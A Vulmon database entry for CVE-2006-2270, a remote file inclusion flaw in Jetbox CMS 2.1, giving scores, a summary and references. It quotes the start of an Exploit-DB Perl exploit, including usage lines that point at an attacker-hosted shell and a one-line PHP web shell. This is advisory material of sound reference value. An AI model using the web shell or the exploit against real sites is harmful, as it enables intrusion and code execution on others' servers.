Vulmon Recent Vulnerabilities Research Posts Trends Blog About Contact
7.5
CVSSv2

CVE-2006-2270

Published: 09/05/2006 Updated: 18/10/2018
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P
Subscribe to Jetbox

Vulnerability Summary

PHP remote file inclusion vulnerability in includes/config.php in Jetbox CMS 2.1 allows remote malicious users to execute arbitrary code via a URL in the relative_script_path parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

jetbox jetbox cms 2.1

Exploits

Exploit DB: Jetbox CMS 2.1 - 'relative_script_path' Remote File Inclusion
#!/usr/bin/perl ############ # JetBox CMS Remote File Include # Exploit & Advisorie: beford <xbefordx gmail com> # # uso:# perl ownpl <host> <cmd-shell-url> <cmd-var> # perl ownpl hostcom/jet/ atacante/shellgif cmd # # cmd shell example: <? system($cmd); ?> # cmd variable: cmd; # ############# ...

References

NVD-CWE-Otherhttp://www.securityfocus.com/bid/17861http://secunia.com/advisories/19993http://www.osvdb.org/25313http://securitytracker.com/id?1016061http://securityreason.com/securityalert/861http://www.vupen.com/english/advisories/2006/1686https://exchange.xforce.ibmcloud.com/vulnerabilities/28843https://exchange.xforce.ibmcloud.com/vulnerabilities/26289http://www.securityfocus.com/archive/1/433121/100/0/threadedhttps://nvd.nist.govhttps://www.exploit-db.com/exploits/1761/
CVSSv3
CVSSv2
CVSSv3
VMScore
Recommendations:
HTML injectionCVE-2024-35894SQLCVE-2024-5105CVE-2014-100005CVE-2024-35895unauthorizedCVE-2024-22120CVE-2024-35890
Vulnerability Notification Service
You don’t have to wait for vulnerability scanning results
Get Started

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Products

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Connect

Twitter Reddit Linkedin Facebook